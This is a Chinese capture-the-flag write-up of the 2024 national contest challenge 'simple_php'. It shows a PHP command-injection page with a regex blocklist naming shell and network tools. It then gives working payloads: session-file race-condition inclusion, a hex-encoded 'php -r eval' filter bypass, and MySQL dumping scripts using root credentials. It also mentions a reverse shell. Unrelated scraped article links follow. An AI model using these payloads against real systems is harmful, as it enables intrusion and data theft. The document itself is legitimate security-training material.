国赛2024 simple_php(三种方法)
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
题目如上过滤了很多
方法一:
经过测试发现可以利用session文件包含
意思就是你传一个post请求包
他会生成一个临sess_+时文件
文件名即为/sess_+PHPSESSID值

临时文件在/tmp/sess_aaaa下
系统会删除这个文件
我们要在它删除之前去访问它(条件竞争)
直接post传cmd=php /tmp/sess_aaaa

两个文件同时去发包

在构建的post包123处写上想要执行的代码即可
<?php system('ls /');?>
执行后没找到flag
怀疑在数据库中
利用php脚本去链接数据库
<?php
// 建立连接
$conn = new mysqli("localhost", "root", "root");
// 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 查询所有数据库名
$sql = "SHOW DATABASES";
$result = $conn->query($sql);
// 输出数据库名
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "数据库名:" . $row["Database"] . "<br>";
}
} else {
echo "未找到数据库。";
}
// 关闭连接
$conn->close();
?>

成功
并且发现可疑数据库
继续查表
<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 查询所有表名
$sql = "SHOW TABLES";
$result = $conn->query($sql);
// 输出表名
if ($result->num_rows > 0) {
echo "数据库 " . $dbname . " 中的表名:<br>";
while($row = $result->fetch_assoc()) {
echo $row["Tables_in_PHP_CMS"] . "<br>";
}
} else {
echo "该数据库中没有表。";
}
// 关闭连接
$conn->close();
?>

发现可疑表F1ag_Se3Re7
接着去查表中内容
<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 查询 F1ag_Se3Re7 表中的内容
$sql = "SELECT * FROM F1ag_Se3Re7";
$result = $conn->query($sql);
// 输出内容
if ($result->num_rows > 0) {
echo "F1ag_Se3Re7 表中的内容:<br>";
while($row = $result->fetch_assoc()) {
// 输出每行数据
foreach ($row as $key => $value) {
echo $key . ": " . $value . "<br>";
}
echo "<br>";
}
} else {
echo "F1ag_Se3Re7 表中没有数据。";
}
// 关闭连接
$conn->close();
?>

得到flag
ctfshow{2c8541c2-ad6e-42a5-93c1-fe2e2fb1243c}
方法二:
和方法一类似
前提是你需要有一个服务器(我的服务器出了些问题就不演示了,有什么难点可以找我讨论)
还是用上面的方法
直接去反弹shell(反弹shell的命令网上有,用php的)
方法三:
这里的环境是比赛时的环境
过滤比较多
但还可以利用php -r
后面用编码绕过


目录中没有flag怀疑在数据库中

接下来连接数据库执行命令

先查库

<?php
$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;";
$b=bin2hex($a);
echo $b;
?>
结果:6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b
查表
再查表中内容
<?php
$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;";
$b=bin2hex($a);
echo $b;
?>
即可
cmd=php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

也可得到flag
国赛2024 simple_php(三种方法)的更多相关文章
- Eclipse插件安装的三种方法
转自:http://www.blogjava.net/tangzurui/archive/2008/06/30/211669.html 整理了一下格式. (前两种安装方式以多国语言包的安装为例) 1 ...
- 像画笔一样慢慢画出Path的三种方法(补充第四种)
今天大家在群里大家非常热闹的讨论像画笔一样慢慢画出Path的这种效果该如何实现. 北京-LGL 博客号@ligl007发起了这个话题.然后各路高手踊跃发表意见.最后雷叔 上海-雷蒙 博客号@雷蒙之星 ...
- JAVA之线程同步的三种方法
最近接触到一个图片加载的项目,其中有声明到的线程池等资源需要在系统中线程共享,所以就去研究了一下线程同步的知识,总结了三种常用的线程同步的方法,特来与大家分享一下.这三种方法分别是:synchroni ...
- java解析xml的三种方法
java解析XML的三种方法 1.SAX事件解析 package com.wzh.sax; import org.xml.sax.Attributes; import org.xml.sax.SAXE ...
- 【Android】Eclipse自动编译NDK/JNI的三种方法
[Android]Eclipse自动编译NDK/JNI的三种方法 SkySeraph Sep. 18th 2014 Email:skyseraph00@163.com 更多精彩请直接访问SkySer ...
- DataTable数据批量写入数据库三种方法比较
DataTable数据批量写入数据库三种方法比较 标签: it 分类: C#1) insert循环插入:2) sqldataadapter.update(dataset,tablename); ...
- 转载:WinForm中播放声音的三种方法
转载:WinForm中播放声音的三种方法 金刚 winForm 播放声音 本文是转载的文章.原文出处:http://blog.csdn.net/jijunwu/article/details/4753 ...
- [mysql]三种方法为root账户指定密码
前言:前段时间把mysql安装后一直没管它,当时就在奇怪为什么mysql登陆不要密码,原来一直用的超用户账户登陆的(简称超级用户) 其实只怪自己太无知,之前一直用的phpbydamin进行的数据库的可 ...
- 三种方法查看MySQL数据库的版本
1.使用-V参数 首先我们想到的肯定就是查看版本号的参数命令,参数为-V(大写字母)或者--version 使用方法: D:\xampp\mysql\bin>mysql -V 或者 D:\xam ...
- 【SQL】Oracle分页查询的三种方法
[SQL]Oracle分页查询的三种方法 采用伪列 rownum 查询前10条记录 ? 1 2 3 4 5 6 7 8 9 10 11 [sql] select * from t_user t whe ...
随机推荐
- Spring 对于事务上的应用的详细说明
1. Spring 对于事务上的应用的详细说明 @ 目录 1. Spring 对于事务上的应用的详细说明 每博一文案 2. 事务概述 3. 引入事务场景 3.1 第一步:准备数据库表 3.2 第二步: ...
- 服务器root密码忘记,使用centos7 紧急模式修改root密码
一.实战场景 公司一台centos7服务器root密码忘记了,需要你修改root密码,找回root身份. 二.进入紧急模式修改root密码 首先重启服务器,看到这界面时选择第一项,按下e键进行编辑 2 ...
- 【终极指南】使用Python可视化分析文本情感倾向
本文分享自华为云社区<Python理解文本情感倾向的终极指南>,作者: 柠檬味拥抱. 情感分析是一种通过自然语言处理技术来识别.提取和量化文本中的情感倾向的方法.Python在这一领域有着 ...
- Swift 与 Objc Exception
一.背景 Swift具备完善的Error handle机制,对于纯Swift下面的Error,在编码的时候能够正确处理. 在使用try? 处理抛出Error的方法的时候,会忽略Error,直接返回ni ...
- Fluter 编译第一个iOS应用
一.流程说明 1)fluter是一个跨平台UI库,可以一份界面代码在iOS和Android上面运行 2)在Mac上面安装Fluter的环境,相对比较简单,通过简单的命令行可以设置环境 3)可以使用特定 ...
- 瑞数456vmp逆向分析
声明 本文章中所有内容仅供学习交流,抓包内容.敏感网址.数据接口均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除! 目标网站 aHR0cHM6 ...
- kettle从入门到精通 第二十四课 kettle 部署生产常用命令
一.设置KETTLE_HOME环境变量 假设kettle软件目录为/xxx/data-integration vi ~/.bash_profile export KETTLE_HOME=/xxx/da ...
- Xcode 配置账号
Xcode 配置开发者账号 简介:在iOS 开发过程中,要打包到手机上是需要登陆账号和配置对应证书的. 配置账号 打开Xcode -> Preferences -> Accounts -& ...
- 【已结束】阿珏Blog三周年特别纪念活动
Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过于久远,编排和内容不一定完整,还请谅解` [已结束]阿珏Blog三周年特别纪念活动 日期:2019- ...
- Yapi部署到kubernetes(k8s)--Azure AKS
背景 找来找去都没找到简单方便的部署yapi到k8s的教程,就自己写了个: 本教程部署的版本是: 1.10.2 部署步骤 克隆仓库: git clone https://github.com/gebi ...